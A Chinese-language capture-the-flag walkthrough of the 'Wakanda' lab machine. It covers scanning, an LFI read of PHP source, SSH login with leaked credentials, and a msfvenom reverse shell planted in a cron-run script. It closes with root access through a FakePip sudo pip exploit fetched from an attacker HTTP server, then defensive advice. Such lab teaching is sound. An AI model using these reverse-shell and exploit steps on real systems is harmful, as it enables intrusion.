靶机渗透测试--hack the wakanda
字数 1492 2025-08-29 08:32:24

Hack The Wakanda 靶机渗透测试教学文档

靶机概述

  • 靶机名称:Wakanda
  • 难度等级:适中
  • Flag数量:3个(flag1.txt, flag2.txt和root.txt)
  • 下载地址:未提供(原文中提及但未给出具体链接)

渗透测试流程

1. 网络扫描与信息收集

1.1 发现目标IP

使用netdiscover工具扫描本地网络:

netdiscover

发现靶机IP地址:192.168.1.124

1.2 端口扫描

使用nmap进行全端口扫描和版本探测:

nmap -p- -A 192.168.1.124

扫描结果:

  • 80/tcp - HTTP服务
  • 111/tcp - RPC服务
  • 333/tcp - SSH服务
  • 48920/tcp - RPC服务

2. Web服务枚举

2.1 目录爆破

使用dirb工具进行目录遍历:

dirb http://192.168.1.124

发现目录:

  • /admin
  • /backup
    (但大小显示为0,可能无实际内容)

2.2 源码分析

在index页面源码中发现注释:

<!-- lang参数可用于切换语言 -->

测试发现可通过?lang=fr切换为法语界面

3. LFI漏洞利用

3.1 使用PHP filter协议读取文件

curl "http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index"

获取base64编码的index.php内容,解码后发现:

  • 密码:Niamey4Ever227!!!
  • 作者用户名:mamadou

4. SSH登录

4.1 尝试SSH登录

ssh mamadou@192.168.1.124 -p 333

密码:Niamey4Ever227!!!
登录成功,进入Python命令提示符界面

4.2 获取交互式shell

在Python环境中:

import pty
pty.spawn('/bin/bash')

成功获取bash shell

4.3 获取第一个flag

cat /home/mamadou/flag1.txt

5. 权限提升至devops用户

5.1 查找devops用户文件

find / -user devops 2>/dev/null

发现文件:/srv/.antivirus.py

5.2 分析antivirus.py

文件内容为向/tmp/test写入"test"字符串

5.3 利用antivirus.py获取反向shell

生成Python反向shell payload:

msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R

修改antivirus.py,替换原有代码为payload(去掉"python -c"部分)

5.4 设置监听

nc -lvnp 4444

等待脚本执行,获取devops用户shell

5.5 获取第二个flag

cat /home/devops/flag2.txt

6. 权限提升至root

6.1 检查sudo权限

sudo -l

发现可以以root身份执行pip命令

6.2 利用FakePip提权

  1. 下载FakePip利用脚本:
git clone https://github.com/0x00-0x00/FakePip.git
  1. 修改setup.py中的os.system函数内容(替换为base64编码的反向shell命令)
  2. 本地启动HTTP服务:
python -m SimpleHTTPServer 80
  1. 靶机下载并执行:
wget http://192.168.1.134/setup.py
sudo pip install . --upgrade --force-install
  1. 获取root shell

6.3 获取root flag

cat /root/root.txt

关键知识点总结

  1. 信息收集:使用netdiscover和nmap进行网络扫描和端口探测
  2. Web目录爆破:dirb工具的使用
  3. LFI漏洞利用:PHP filter协议读取文件源码
  4. 凭证发现:从源码中提取用户名和密码
  5. SSH登录:使用发现的凭证进行登录
  6. Python环境逃逸:使用pty模块获取交互式shell
  7. 横向移动:通过查找特定用户文件寻找提权路径
  8. 恶意脚本利用:修改antivirus.py获取反向shell
  9. sudo提权:利用pip的sudo权限和FakePip漏洞获取root权限

防御建议

  1. 限制PHP功能:禁用危险的PHP协议如php://filter
  2. 敏感信息保护:避免在源码中硬编码凭证
  3. 权限最小化:限制用户sudo权限,避免给pip等包管理器root权限
  4. 文件权限控制:限制用户对系统关键文件的访问权限
  5. 输入验证:对lang参数进行严格过滤,防止LFI漏洞
  6. 日志监控:监控异常的文件访问和修改行为
Hack The Wakanda 靶机渗透测试教学文档 靶机概述 靶机名称:Wakanda 难度等级:适中 Flag数量:3个(flag1.txt, flag2.txt和root.txt) 下载地址:未提供(原文中提及但未给出具体链接) 渗透测试流程 1. 网络扫描与信息收集 1.1 发现目标IP 使用netdiscover工具扫描本地网络: 发现靶机IP地址:192.168.1.124 1.2 端口扫描 使用nmap进行全端口扫描和版本探测: 扫描结果: 80/tcp - HTTP服务 111/tcp - RPC服务 333/tcp - SSH服务 48920/tcp - RPC服务 2. Web服务枚举 2.1 目录爆破 使用dirb工具进行目录遍历: 发现目录: /admin /backup (但大小显示为0,可能无实际内容) 2.2 源码分析 在index页面源码中发现注释: 测试发现可通过 ?lang=fr 切换为法语界面 3. LFI漏洞利用 3.1 使用PHP filter协议读取文件 获取base64编码的index.php内容,解码后发现: 密码: Niamey4Ever227!!! 作者用户名: mamadou 4. SSH登录 4.1 尝试SSH登录 密码: Niamey4Ever227!!! 登录成功,进入Python命令提示符界面 4.2 获取交互式shell 在Python环境中: 成功获取bash shell 4.3 获取第一个flag 5. 权限提升至devops用户 5.1 查找devops用户文件 发现文件: /srv/.antivirus.py 5.2 分析antivirus.py 文件内容为向/tmp/test写入"test"字符串 5.3 利用antivirus.py获取反向shell 生成Python反向shell payload: 修改antivirus.py,替换原有代码为payload(去掉"python -c"部分) 5.4 设置监听 等待脚本执行,获取devops用户shell 5.5 获取第二个flag 6. 权限提升至root 6.1 检查sudo权限 发现可以以root身份执行pip命令 6.2 利用FakePip提权 下载FakePip利用脚本: 修改setup.py中的os.system函数内容(替换为base64编码的反向shell命令) 本地启动HTTP服务: 靶机下载并执行: 获取root shell 6.3 获取root flag 关键知识点总结 信息收集 :使用netdiscover和nmap进行网络扫描和端口探测 Web目录爆破 :dirb工具的使用 LFI漏洞利用 :PHP filter协议读取文件源码 凭证发现 :从源码中提取用户名和密码 SSH登录 :使用发现的凭证进行登录 Python环境逃逸 :使用pty模块获取交互式shell 横向移动 :通过查找特定用户文件寻找提权路径 恶意脚本利用 :修改antivirus.py获取反向shell sudo提权 :利用pip的sudo权限和FakePip漏洞获取root权限 防御建议 限制PHP功能 :禁用危险的PHP协议如php://filter 敏感信息保护 :避免在源码中硬编码凭证 权限最小化 :限制用户sudo权限,避免给pip等包管理器root权限 文件权限控制 :限制用户对系统关键文件的访问权限 输入验证 :对lang参数进行严格过滤,防止LFI漏洞 日志监控 :监控异常的文件访问和修改行为